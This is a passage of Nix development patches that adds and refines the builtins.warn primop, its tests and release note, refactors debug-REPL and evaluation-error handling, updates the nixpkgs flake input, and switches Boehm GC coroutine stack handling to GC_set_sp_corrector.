`warn` is called (like + [`break`](@docroot@/language/builtins.md#builtins-break)). + )", + .fun = prim_warn, +}); + /* Takes two arguments and evaluates to the second one. Used as the * builtins.traceVerbose implementation when --trace-verbose is not enabled diff --git a/tests/functional/lang.sh b/tests/functional/lang.sh index a853cfd81..843ff7cfa 100755 --- a/tests/functional/lang.sh +++ b/tests/functional/lang.sh @@ -36,6 +36,13 @@ nix-instantiate --eval -E 'let x = builtins.trace { x = x; } true; in x' \ nix-instantiate --eval -E 'let x = { repeating = x; tracing = builtins.trace x true; }; in x.tracing'\ 2>&1 | grepQuiet -F 'trace: { repeating = «repeated»; tracing = «potential infinite recursion»; }' +nix-instantiate --eval -E 'builtins.warn "Hello" 123' 2>&1 | grepQuiet 'warning: Hello' +nix-instantiate --eval -E 'builtins.addErrorContext "while doing ${"something"} interesting" (builtins.warn "Hello" 123)' 2>/dev/null | grepQuiet 123 +nix-instantiate --eval -E 'let x = builtins.warn { x = x; } true; in x' \ + 2>&1 | grepQuiet -E 'warning: { x = «potential infinite recursion»; }' +expectStderr 1 nix-instantiate --eval --abort-on-warn -E 'builtins.warn "Hello" 123' | grepQuiet Hello +NIX_ABORT_ON_WARN=1 expectStderr 1 nix-instantiate --eval -E 'builtins.addErrorContext "while doing ${"something"} interesting" (builtins.warn "Hello" 123)' | grepQuiet "while doing something interesting" + set +x badDiff=0 From 923cbea2af8eb1ccbd29b6b3542c974081bdddc1 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 23 Apr 2024 18:07:45 +0200 Subject: [PATCH 0710/1251] builtins.warn: Use logWarning Constructing ErrorInfo is a little awkward for now, but this does produce a richer log entry. --- src/libexpr/primops.cc | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 9319709c1..c20e0c359 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1046,10 +1046,20 @@ static RegisterPrimOp primop_trace({ static void prim_warn(EvalState & state, const PosIdx pos, Value * * args, Value & v) { state.forceValue(*args[0], pos); - if (args[0]->type() == nString) - printMsg(lvlWarn, ANSI_WARNING "warning:" ANSI_NORMAL " %1%", args[0]->string_view()); - else - printMsg(lvlWarn, ANSI_WARNING "warning:" ANSI_NORMAL " %1%", ValuePrinter(state, *args[0])); + + { + BaseError msg(args[0]->type() == nString + ? std::string(args[0]->string_view()) + : ({ + std::stringstream s; + s << ValuePrinter(state, *args[0]); + s.str(); + })); + msg.atPos(state.positions[pos]); + auto info = msg.info(); + info.level = lvlWarn; + logWarning(info); + } if (evalSettings.builtinsAbortOnWarn) { state.error("aborting to reveal stack trace of warning, as abort-on-warn is set").debugThrow(); From da82d67022fd77f7f38556f2dabac416110ec55e Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 24 Apr 2024 10:56:32 +0200 Subject: [PATCH 0711/1251] builtins.warn: Require string argument ... so that we may perhaps later extend the interface. Note that Nixpkgs' lib.warn already requires a string coercible argument, so this is reasonable. Also note that string coercible values aren't all strings, but in practice, for warn, they are. --- src/libexpr/primops.cc | 12 ++++-------- tests/functional/lang.sh | 6 ++++-- 2 files changed, 8 insertions(+), 10 deletions(-) diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index c20e0c359..5ff7d5314 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1045,16 +1045,12 @@ static RegisterPrimOp primop_trace({ static void prim_warn(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceValue(*args[0], pos); + // We only accept a string argument for now. The use case for pretty printing a value is covered by `trace`. + // By rejecting non-strings we allow future versions to add more features without breaking existing code. + auto msgStr = state.forceString(*args[0], pos, "while evaluating the first argument; the message passed to builtins.warn"); { - BaseError msg(args[0]->type() == nString - ? std::string(args[0]->string_view()) - : ({ - std::stringstream s; - s << ValuePrinter(state, *args[0]); - s.str(); - })); + BaseError msg(std::string{msgStr}); msg.atPos(state.positions[pos]); auto info = msg.info(); info.level = lvlWarn; diff --git a/tests/functional/lang.sh b/tests/functional/lang.sh index 843ff7cfa..569e7082e 100755 --- a/tests/functional/lang.sh +++ b/tests/functional/lang.sh @@ -38,8 +38,10 @@ nix-instantiate --eval -E 'let x = { repeating = x; tracing = builtins.trace x t nix-instantiate --eval -E 'builtins.warn "Hello" 123' 2>&1 | grepQuiet 'warning: Hello' nix-instantiate --eval -E 'builtins.addErrorContext "while doing ${"something"} interesting" (builtins.warn "Hello" 123)' 2>/dev/null | grepQuiet 123 -nix-instantiate --eval -E 'let x = builtins.warn { x = x; } true; in x' \ - 2>&1 | grepQuiet -E 'warning: { x = «potential infinite recursion»; }' + +# warn does not accept non-strings for now +expectStderr 1 nix-instantiate --eval -E 'let x = builtins.warn { x = x; } true; in x' \ + | grepQuiet "expected a string but found a set" expectStderr 1 nix-instantiate --eval --abort-on-warn -E 'builtins.warn "Hello" 123' | grepQuiet Hello NIX_ABORT_ON_WARN=1 expectStderr 1 nix-instantiate --eval -E 'builtins.addErrorContext "while doing ${"something"} interesting" (builtins.warn "Hello" 123)' | grepQuiet "while doing something interesting" From c07500e14dce5036ea4b8cf956cf34df4b282873 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 1 May 2024 23:02:43 +0200 Subject: [PATCH 0712/1251] refactor: Extract EvalState::{runDebugRepl,canDebug} --- src/libexpr/eval-error.cc | 7 +------ src/libexpr/eval.cc | 18 ++++++++++++++++++ src/libexpr/eval.hh | 12 ++++++++++++ src/libexpr/primops.cc | 15 ++++++--------- 4 files changed, 37 insertions(+), 15 deletions(-) diff --git a/src/libexpr/eval-error.cc b/src/libexpr/eval-error.cc index 282f5554a..5a0c67514 100644 --- a/src/libexpr/eval-error.cc +++ b/src/libexpr/eval-error.cc @@ -73,12 +73,7 @@ EvalErrorBuilder::addTrace(PosIdx pos, std::string_view formatString, const A template void EvalErrorBuilder::debugThrow() { - if (error.state.debugRepl && !error.state.debugTraces.empty()) { - const DebugTrace & last = error.state.debugTraces.front(); - const Env * env = &last.env; - const Expr * expr = &last.expr; - error.state.runDebugRepl(&error, *env, *expr); - } + error.state.runDebugRepl(&error); // `EvalState` is the only class that can construct an `EvalErrorBuilder`, // and it does so in dynamic storage. This is the final method called on diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index c1dadeee0..6a38bbe45 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -785,6 +785,24 @@ public: } }; +bool EvalState::canDebug() +{ + return debugRepl && !debugTraces.empty(); +} + +void EvalState::runDebugRepl(const Error * error) +{ + if (!canDebug()) + return; + + assert(!debugTraces.empty()); + const DebugTrace & last = debugTraces.front(); + const Env & env = last.env; + const Expr & expr = last.expr; + + runDebugRepl(error, env, expr); +} + void EvalState::runDebugRepl(const Error * error, const Env & env, const Expr & expr) { // Make sure we have a debugger to run and we're not already in a debugger. diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index 7ca2d6227..06a687620 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -276,6 +276,18 @@ public: return std::shared_ptr();; } + /** Whether a debug repl can be started. If `false`, `runDebugRepl(error)` will return without starting a repl. */ + bool canDebug(); + + /** Use front of `debugTraces`; see `runDebugRepl(error,env,expr)` */ + void runDebugRepl(const Error * error); + + /** + * Run a debug repl with the given error, environment and expression. + * @param error The error to debug, may be nullptr. + * @param env The environment to debug, matching the expression. + * @param expr The expression to debug, matching the environment. + */ void runDebugRepl(const Error * error, const Env & env, const Expr & expr); template diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 5ff7d5314..459d19e05 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -780,15 +780,14 @@ static RegisterPrimOp primop_break({ )", .fun = [](EvalState & state, const PosIdx pos, Value * * args, Value & v) { - if (state.debugRepl && !state.debugTraces.empty()) { + if (state.canDebug()) { auto error = Error(ErrorInfo { .level = lvlInfo, .msg = HintFmt("breakpoint reached"), .pos = state.positions[pos], }); - auto & dt = state.debugTraces.front(); - state.runDebugRepl(&error, dt.env, dt.expr); + state.runDebugRepl(&error); } // Return the value we were passed. @@ -1018,9 +1017,8 @@ static void prim_trace(EvalState & state, const PosIdx pos, Value * * args, Valu printError("trace: %1%", args[0]->string_view()); else printError("trace: %1%", ValuePrinter(state, *args[0])); - if (evalSettings.builtinsTraceDebugger && state.debugRepl && !state.debugTraces.empty()) { - const DebugTrace & last = state.debugTraces.front(); - state.runDebugRepl(nullptr, last.env, last.expr); + if (evalSettings.builtinsTraceDebugger) { + state.runDebugRepl(nullptr); } state.forceValue(*args[1], pos); v = *args[1]; @@ -1060,9 +1058,8 @@ static void prim_warn(EvalState & state, const PosIdx pos, Value * * args, Value if (evalSettings.builtinsAbortOnWarn) { state.error("aborting to reveal stack trace of warning, as abort-on-warn is set").debugThrow(); } - if ((evalSettings.builtinsTraceDebugger || evalSettings.builtinsDebuggerOnWarn) && state.debugRepl && !state.debugTraces.empty()) { - const DebugTrace & last = state.debugTraces.front(); - state.runDebugRepl(nullptr, last.env, last.expr); + if (evalSettings.builtinsTraceDebugger || evalSettings.builtinsDebuggerOnWarn) { + state.runDebugRepl(nullptr); } state.forceValue(*args[1], pos); v = *args[1]; From 831d96d8d79424595b955791dd007c3317b76b3d Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 7 May 2024 09:13:58 +0200 Subject: [PATCH 0713/1251] builtins.warn: Do not throw EvalError --- src/libexpr/primops.cc | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 459d19e05..9741e3177 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1056,7 +1056,8 @@ static void prim_warn(EvalState & state, const PosIdx pos, Value * * args, Value } if (evalSettings.builtinsAbortOnWarn) { - state.error("aborting to reveal stack trace of warning, as abort-on-warn is set").debugThrow(); + // Not an EvalError or subclass, which would cause the error to be stored in the eval cache. + state.error("aborting to reveal stack trace of warning, as abort-on-warn is set").debugThrow(); } if (evalSettings.builtinsTraceDebugger || evalSettings.builtinsDebuggerOnWarn) { state.runDebugRepl(nullptr); From 70b10362247ef563ef4cad02709ec2bdb5564206 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 22 May 2024 12:51:46 +0200 Subject: [PATCH 0714/1251] builtins.warn: Use new EvalBaseError + "evaluation warning" --- doc/manual/rl-next/builtins-warn.md | 10 ++++++++++ src/libexpr/eval-error.cc | 8 ++++++++ src/libexpr/eval-error.hh | 20 +++++++++++++++++--- src/libexpr/primops.cc | 12 +++++++++--- src/libutil/error.cc | 5 ++++- src/libutil/error.hh | 5 +++++ 6 files changed, 53 insertions(+), 7 deletions(-) create mode 100644 doc/manual/rl-next/builtins-warn.md diff --git a/doc/manual/rl-next/builtins-warn.md b/doc/manual/rl-next/builtins-warn.md new file mode 100644 index 000000000..0f7a6ebba --- /dev/null +++ b/doc/manual/rl-next/builtins-warn.md @@ -0,0 +1,10 @@ +--- +synopsis: "New builtin: `builtins.warn`" +issues: 306026 +prs: 10592 +--- + +`builtins.warn` behaves like `builtins.trace "warning: ${msg}`, has an accurate log level, and is controlled by the options +[`debugger-on-trace`](@docroot@/command-ref/conf-file.md#conf-debugger-on-trace), +[`debugger-on-warn`](@docroot@/command-ref/conf-file.md#conf-debugger-on-warn) and +[`abort-on-warn`](@docroot@/command-ref/conf-file.md#conf-abort-on-warn). diff --git a/src/libexpr/eval-error.cc b/src/libexpr/eval-error.cc index 5a0c67514..bd84e0428 100644 --- a/src/libexpr/eval-error.cc +++ b/src/libexpr/eval-error.cc @@ -70,6 +70,13 @@ EvalErrorBuilder::addTrace(PosIdx pos, std::string_view formatString, const A return *this; } +template +EvalErrorBuilder & EvalErrorBuilder::setIsFromExpr() +{ + error.err.isFromExpr = true; + return *this; +} + template void EvalErrorBuilder::debugThrow() { @@ -85,6 +92,7 @@ void EvalErrorBuilder::debugThrow() throw error; } +template class EvalErrorBuilder; template class EvalErrorBuilder; template class EvalErrorBuilder; template class EvalErrorBuilder; diff --git a/src/libexpr/eval-error.hh b/src/libexpr/eval-error.hh index 27407eb6e..fe48e054b 100644 --- a/src/libexpr/eval-error.hh +++ b/src/libexpr/eval-error.hh @@ -15,27 +15,39 @@ class EvalState; template class EvalErrorBuilder; -class EvalError : public Error +/** + * Base class for all errors that occur during evaluation. + * + * Most subclasses should inherit from `EvalError` instead of this class. + */ +class EvalBaseError : public Error { template friend class EvalErrorBuilder; public: EvalState & state; - EvalError(EvalState & state, ErrorInfo && errorInfo) + EvalBaseError(EvalState & state, ErrorInfo && errorInfo) : Error(errorInfo) , state(state) { } template - explicit EvalError(EvalState & state, const std::string & formatString, const Args &... formatArgs) + explicit EvalBaseError(EvalState & state, const std::string & formatString, const Args &... formatArgs) : Error(formatString, formatArgs...) , state(state) { } }; +/** + * `EvalError` is the base class for almost all errors that occur during evaluation. + * + * All instances of `EvalError` should show a degree of purity that allows them to be + * cached in pure mode. This means that they should not depend on the configuration or the overall environment. + */ +MakeError(EvalError, EvalBaseError); MakeError(ParseError, Error); MakeError(AssertionError, EvalError); MakeError(ThrownError, AssertionError); @@ -90,6 +102,8 @@ public: [[nodiscard, gnu::noinline]] EvalErrorBuilder & addTrace(PosIdx pos, HintFmt hint); + [[nodiscard, gnu::noinline]] EvalErrorBuilder & setIsFromExpr(); + template [[nodiscard, gnu::noinline]] EvalErrorBuilder & addTrace(PosIdx pos, std::string_view formatString, const Args &... formatArgs); diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 9741e3177..22d7f188f 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -806,7 +806,7 @@ static RegisterPrimOp primop_abort({ NixStringContext context; auto s = state.coerceToString(pos, *args[0], context, "while evaluating the error message passed to builtins.abort").toOwned(); - state.error("evaluation aborted with the following error message: '%1%'", s).debugThrow(); + state.error("evaluation aborted with the following error message: '%1%'", s).setIsFromExpr().debugThrow(); } }); @@ -825,7 +825,7 @@ static RegisterPrimOp primop_throw({ NixStringContext context; auto s = state.coerceToString(pos, *args[0], context, "while evaluating the error message passed to builtin.throw").toOwned(); - state.error(s).debugThrow(); + state.error(s).setIsFromExpr().debugThrow(); } }); @@ -1052,12 +1052,13 @@ static void prim_warn(EvalState & state, const PosIdx pos, Value * * args, Value msg.atPos(state.positions[pos]); auto info = msg.info(); info.level = lvlWarn; + info.isFromExpr = true; logWarning(info); } if (evalSettings.builtinsAbortOnWarn) { // Not an EvalError or subclass, which would cause the error to be stored in the eval cache. - state.error("aborting to reveal stack trace of warning, as abort-on-warn is set").debugThrow(); + state.error("aborting to reveal stack trace of warning, as abort-on-warn is set").setIsFromExpr().debugThrow(); } if (evalSettings.builtinsTraceDebugger || evalSettings.builtinsDebuggerOnWarn) { state.runDebugRepl(nullptr); @@ -1080,6 +1081,11 @@ static RegisterPrimOp primop_warn({ option is set to `true` and the `--debugger` flag is given, the interactive debugger will be started when `warn` is called (like [`break`](@docroot@/language/builtins.md#builtins-break)). + + If the + [`abort-on-warn`](@docroot@/command-ref/conf-file.md#conf-abort-on-warn) + option is set, the evaluation will be aborted after the warning is printed. + This is useful to reveal the stack trace of the warning, when the context is non-interactive and a debugger can not be launched. )", .fun = prim_warn, }); diff --git a/src/libutil/error.cc b/src/libutil/error.cc index fd4f4efd1..e01f06448 100644 --- a/src/libutil/error.cc +++ b/src/libutil/error.cc @@ -240,7 +240,10 @@ std::ostream & showErrorInfo(std::ostream & out, const ErrorInfo & einfo, bool s break; } case Verbosity::lvlWarn: { - prefix = ANSI_WARNING "warning"; + if (einfo.isFromExpr) + prefix = ANSI_WARNING "evaluation warning"; + else + prefix = ANSI_WARNING "warning"; break; } case Verbosity::lvlInfo: { diff --git a/src/libutil/error.hh b/src/libutil/error.hh index 87d181c94..269000016 100644 --- a/src/libutil/error.hh +++ b/src/libutil/error.hh @@ -89,6 +89,11 @@ struct ErrorInfo { HintFmt msg; std::shared_ptr pos; std::list traces; + /** + * Some messages are generated directly by expressions; notably `builtins.warn`, `abort`, `throw`. + * These may be rendered differently, so that users can distinguish them. + */ + bool isFromExpr = false; /** * Exit status. From 3a0b0af2ace69bb98ba1f86e1da4ec8f13c31840 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 3 Jun 2024 15:30:35 +0200 Subject: [PATCH 0715/1251] Fix typo in doc/manual/rl-next/builtins-warn.md Co-authored-by: Eelco Dolstra --- doc/manual/rl-next/builtins-warn.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/rl-next/builtins-warn.md b/doc/manual/rl-next/builtins-warn.md index 0f7a6ebba..f805e1610 100644 --- a/doc/manual/rl-next/builtins-warn.md +++ b/doc/manual/rl-next/builtins-warn.md @@ -4,7 +4,7 @@ issues: 306026 prs: 10592 --- -`builtins.warn` behaves like `builtins.trace "warning: ${msg}`, has an accurate log level, and is controlled by the options +`builtins.warn` behaves like `builtins.trace "warning: ${msg}"`, has an accurate log level, and is controlled by the options [`debugger-on-trace`](@docroot@/command-ref/conf-file.md#conf-debugger-on-trace), [`debugger-on-warn`](@docroot@/command-ref/conf-file.md#conf-debugger-on-warn) and [`abort-on-warn`](@docroot@/command-ref/conf-file.md#conf-abort-on-warn). From 8df206be541045f5ca340f909db1c43ec088f4a7 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 3 Jun 2024 15:38:50 +0200 Subject: [PATCH 0716/1251] Update nixpkgs ref to 24.05 --- flake.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/flake.nix b/flake.nix index 6fb159d6e..a7bedd819 100644 --- a/flake.nix +++ b/flake.nix @@ -3,7 +3,7 @@ # TODO switch to nixos-23.11-small # https://nixpk.gs/pr-tracker.html?pr=291954 - inputs.nixpkgs.url = "github:NixOS/nixpkgs/release-23.11"; + inputs.nixpkgs.url = "github:NixOS/nixpkgs/release-24.05"; inputs.nixpkgs-regression.url = "github:NixOS/nixpkgs/215d4d0fd80ca5163643b03a33fde804a29cc1e2"; inputs.flake-compat = { url = "github:edolstra/flake-compat"; flake = false; }; inputs.libgit2 = { url = "github:libgit2/libgit2"; flake = false; }; From 2edcdf85087edd2f2b4c7f6d73fa6302a655506c Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 3 Jun 2024 15:39:09 +0200 Subject: [PATCH 0717/1251] flake.lock: Update MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Flake lock file updates: • Updated input 'nixpkgs': 'github:NixOS/nixpkgs/b550fe4b4776908ac2a861124307045f8e717c8e' (2024-02-28) → 'github:NixOS/nixpkgs/88dca77be222aedd1f47d2cf0942dffefee76216' (2024-06-03) --- flake.lock | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/flake.lock b/flake.lock index 409463ad8..7770484a6 100644 --- a/flake.lock +++ b/flake.lock @@ -69,16 +69,16 @@ }, "nixpkgs": { "locked": { - "lastModified": 1709083642, - "narHash": "sha256-7kkJQd4rZ+vFrzWu8sTRtta5D1kBG0LSRYAfhtmMlSo=", + "lastModified": 1717413331, + "narHash": "sha256-oxsqQB/UwJNCTWUpndQgoz14731mgaWg/zYHrVwGoco=", "owner": "NixOS", "repo": "nixpkgs", - "rev": "b550fe4b4776908ac2a861124307045f8e717c8e", + "rev": "88dca77be222aedd1f47d2cf0942dffefee76216", "type": "github" }, "original": { "owner": "NixOS", - "ref": "release-23.11", + "ref": "release-24.05", "repo": "nixpkgs", "type": "github" } From 2477e4e3b84b23b091befa1869a1fc6186fe74dc Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 27 Feb 2024 19:42:41 +0100 Subject: [PATCH 0718/1251] libexpr: Use GC_set_sp_corrector instead of patch Manually tested by printing to stderr in both branches (sp in os stack, or not), and triggering a GC in a filterSource function, e.g.: let generateTree = n: if n == 0 then "ha" else { left = generateTree (n - 1); right = generateTree (n - 1); }; in builtins.deepSeq (generateTree 18) ... Note that the darwin still uses the strategy of disabling GC, despite having an implementation that compiles. The proper solution will be enabled and tested later. --- configure.ac | 2 +- .../boehmgc-coroutine-sp-fallback.diff | 99 ------------------- flake.nix | 2 - src/libexpr/eval.cc | 66 +++++++++++-- src/libexpr/local.mk | 4 +- 5 files changed, 62 insertions(+), 111 deletions(-) delete mode 100644 dep-patches/boehmgc-coroutine-sp-fallback.diff diff --git a/configure.ac b/configure.ac index 90a6d45d5..0a015fe48 100644 --- a/configure.ac +++ b/configure.ac @@ -366,7 +366,7 @@ fi AC_ARG_ENABLE(gc, AS_HELP_STRING([--enable-gc],[enable garbage collection in the Nix expression evaluator (requires Boehm GC) [default=yes]]), gc=$enableval, gc=yes) if test "$gc" = yes; then - PKG_CHECK_MODULES([BDW_GC], [bdw-gc]) + PKG_CHECK_MODULES([BDW_GC], [bdw-gc >= 8.2.4]) CXXFLAGS="$BDW_GC_CFLAGS $CXXFLAGS" AC_DEFINE(HAVE_BOEHMGC, 1, [Whether to use the Boehm garbage collector.]) fi diff --git a/dep-patches/boehmgc-coroutine-sp-fallback.diff b/dep-patches/boehmgc-coroutine-sp-fallback.diff deleted file mode 100644 index 2afbe9671..000000000 --- a/dep-patches/boehmgc-coroutine-sp-fallback.diff +++ /dev/null @@ -1,99 +0,0 @@ -diff --git a/darwin_stop_world.c b/darwin_stop_world.c -index 0468aaec..b348d869 100644 ---- a/darwin_stop_world.c -+++ b/darwin_stop_world.c -@@ -356,6 +356,7 @@ GC_INNER void GC_push_all_stacks(void) - int nthreads = 0; - word total_size = 0; - mach_msg_type_number_t listcount = (mach_msg_type_number_t)THREAD_TABLE_SZ; -+ size_t stack_limit; - if (!EXPECT(GC_thr_initialized, TRUE)) - GC_thr_init(); - -@@ -411,6 +412,19 @@ GC_INNER void GC_push_all_stacks(void) - GC_push_all_stack_sections(lo, hi, p->traced_stack_sect); - } - if (altstack_lo) { -+ // When a thread goes into a coroutine, we lose its original sp until -+ // control flow returns to the thread. -+ // While in the coroutine, the sp points outside the thread stack, -+ // so we can detect this and push the entire thread stack instead, -+ // as an approximation. -+ // We assume that the coroutine has similarly added its entire stack. -+ // This could be made accurate by cooperating with the application -+ // via new functions and/or callbacks. -+ stack_limit = pthread_get_stacksize_np(p->id); -+ if (altstack_lo >= altstack_hi || altstack_lo < altstack_hi - stack_limit) { // sp outside stack -+ altstack_lo = altstack_hi - stack_limit; -+ } -+ - total_size += altstack_hi - altstack_lo; - GC_push_all_stack(altstack_lo, altstack_hi); - } -diff --git a/include/gc.h b/include/gc.h -index edab6c22..f2c61282 100644 ---- a/include/gc.h -+++ b/include/gc.h -@@ -2172,6 +2172,11 @@ GC_API void GC_CALL GC_win32_free_heap(void); - (*GC_amiga_allocwrapper_do)(a,GC_malloc_atomic_ignore_off_page) - #endif /* _AMIGA && !GC_AMIGA_MAKINGLIB */ - -+#if !__APPLE__ -+/* Patch doesn't work on apple */ -+#define NIX_BOEHM_PATCH_VERSION 1 -+#endif -+ - #ifdef __cplusplus - } /* extern "C" */ - #endif -diff --git a/pthread_stop_world.c b/pthread_stop_world.c -index b5d71e62..aed7b0bf 100644 ---- a/pthread_stop_world.c -+++ b/pthread_stop_world.c -@@ -768,6 +768,8 @@ STATIC void GC_restart_handler(int sig) - /* world is stopped. Should not fail if it isn't. */ - GC_INNER void GC_push_all_stacks(void) - { -+ size_t stack_limit; -+ pthread_attr_t pattr; - GC_bool found_me = FALSE; - size_t nthreads = 0; - int i; -@@ -851,6 +853,37 @@ GC_INNER void GC_push_all_stacks(void) - hi = p->altstack + p->altstack_size; - /* FIXME: Need to scan the normal stack too, but how ? */ - /* FIXME: Assume stack grows down */ -+ } else { -+#ifdef HAVE_PTHREAD_ATTR_GET_NP -+ if (!pthread_attr_init(&pattr) -+ || !pthread_attr_get_np(p->id, &pattr)) -+#else /* HAVE_PTHREAD_GETATTR_NP */ -+ if (pthread_getattr_np(p->id, &pattr)) -+#endif -+ { -+ ABORT("GC_push_all_stacks: pthread_getattr_np failed!"); -+ } -+ if (pthread_attr_getstacksize(&pattr, &stack_limit)) { -+ ABORT("GC_push_all_stacks: pthread_attr_getstacksize failed!"); -+ } -+ if (pthread_attr_destroy(&pattr)) { -+ ABORT("GC_push_all_stacks: pthread_attr_destroy failed!"); -+ } -+ // When a thread goes into a coroutine, we lose its original sp until -+ // control flow returns to the thread. -+ // While in the coroutine, the sp points outside the thread stack, -+ // so we can detect this and push the entire thread stack instead, -+ // as an approximation. -+ // We assume that the coroutine has similarly added its entire stack. -+ // This could be made accurate by cooperating with the application -+ // via new functions and/or callbacks. -+ #ifndef STACK_GROWS_UP -+ if (lo >= hi || lo < hi - stack_limit) { // sp outside stack -+ lo = hi - stack_limit; -+ } -+ #else -+ #error "STACK_GROWS_UP not supported in boost_coroutine2 (as of june 2021), so we don't support it in Nix." -+ #endif - } - GC_push_all_stack_sections(lo, hi, traced_stack_sect); - # ifdef STACK_GROWS_UP diff --git a/flake.nix b/flake.nix index a7bedd819..7a07a70ba 100644 --- a/flake.nix +++ b/flake.nix @@ -150,8 +150,6 @@ enableLargeConfig = true; }).overrideAttrs(o: { patches = (o.patches or []) ++ [ - ./dep-patches/boehmgc-coroutine-sp-fallback.diff - # https://github.com/ivmai/bdwgc/pull/586 ./dep-patches/boehmgc-traceable_allocator-public.diff ]; diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index c1dadeee0..30521b072 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -31,6 +31,7 @@ #include #include #include +#include #include #include #include @@ -250,6 +251,50 @@ class BoehmGCStackAllocator : public StackAllocator { static BoehmGCStackAllocator boehmGCStackAllocator; +/** + * When a thread goes into a coroutine, we lose its original sp until + * control flow returns to the thread. + * While in the coroutine, the sp points outside the thread stack, + * so we can detect this and push the entire thread stack instead, + * as an approximation. + * The coroutine's stack is covered by `BoehmGCStackAllocator`. + * This is not an optimal solution, because the garbage is scanned when a + * coroutine is active, for both the coroutine and the original thread stack. + * However, the implementation is quite lean, and usually we don't have active + * coroutines during evaluation, so this is acceptable. + */ +void fixupBoehmStackPointer(void ** sp_ptr, void * pthread_id) { + void *& sp = *sp_ptr; + pthread_attr_t pattr; + size_t osStackSize; + void * osStackLow; + void * osStackBase; + + #ifdef __APPLE__ + osStackSize = pthread_get_stacksize_np((pthread_t)pthread_id); + osStackLow = pthread_get_stackaddr_np((pthread_t)pthread_id); + #else + if (pthread_attr_init(&pattr)) { + throw Error("fixupBoehmStackPointer: pthread_attr_init failed"); + } + if (pthread_getattr_np((pthread_t)pthread_id, &pattr)) { + throw Error("fixupBoehmStackPointer: pthread_getattr_np failed"); + } + if (pthread_attr_getstack(&pattr, &osStackLow, &osStackSize)) { + throw Error("fixupBoehmStackPointer: pthread_attr_getstack failed"); + } + if (pthread_attr_destroy(&pattr)) { + throw Error("fixupBoehmStackPointer: pthread_attr_destroy failed"); + } + #endif + osStackBase = (char *)osStackLow + osStackSize; + // NOTE: We assume the stack grows down, as it does on all architectures we support. + // Architectures that grow the stack up are rare. + if (sp >= osStackBase || sp < osStackLow) { // lo is outside the os stack + sp = osStackBase; + } +} + #endif @@ -303,16 +348,21 @@ void initGC() GC_set_oom_fn(oomHandler); + // TODO: Comment suggests an implementation that works on darwin and windows + // https://github.com/ivmai/bdwgc/issues/362#issuecomment-1936672196 + #ifndef __APPLE__ + GC_set_sp_corrector(&fixupBoehmStackPointer); + #endif + StackAllocator::defaultAllocator = &boehmGCStackAllocator; - -#if NIX_BOEHM_PATCH_VERSION != 1 - printTalkative("Unpatched BoehmGC, disabling GC inside coroutines"); - /* Used to disable GC when entering coroutines on macOS */ - create_coro_gc_hook = []() -> std::shared_ptr { - return std::make_shared(); - }; -#endif + if (!GC_get_sp_corrector()) { + printTalkative("BoehmGC on this platform does not support sp_corrector; will disable GC inside coroutines"); + /* Used to disable GC when entering coroutines on macOS */ + create_coro_gc_hook = []() -> std::shared_ptr { + return std::make_shared(); + }; + } /* Set the initial heap size to something fairly big (25% of physical RAM, up to a maximum of 384 MiB) so that in most cases diff --git a/src/libexpr/local.mk b/src/libexpr/local.mk index ecadc5e5d..d128064a5 100644 --- a/src/libexpr/local.mk +++ b/src/libexpr/local.mk @@ -15,7 +15,9 @@ libexpr_SOURCES := \ INCLUDE_libexpr := -I $(d) -libexpr_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libmain) $(INCLUDE_libexpr) +libexpr_CXXFLAGS += \ + $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libmain) $(INCLUDE_libexpr) \ + -DGC_THREADS libexpr_LIBS = libutil libstore libfetchers From b311f51f845fc51f51487ebcfff55848d38f3be7 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 3 Jun 2024 15:52:13 +0200 Subject: [PATCH 0719/1251] boehmgc-nix: Remove released traceable_allocator patch --- flake.nix | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/flake.nix b/flake.nix index 7a07a70ba..896a2481c 100644 --- a/flake.nix +++ b/flake.nix @@ -146,14 +146,9 @@ ++ [ "-DUSE_SSH=exec" ]; }); - boehmgc-nix = (final.boehmgc.override { + boehmgc-nix = final.boehmgc.override { enableLargeConfig = true; - }).overrideAttrs(o: { - patches = (o.patches or []) ++ [ - # https://github.com/ivmai/bdwgc/pull/586 - ./dep-patches/boehmgc-traceable_allocator-public.diff - ]; - }); + }; libseccomp-nix = 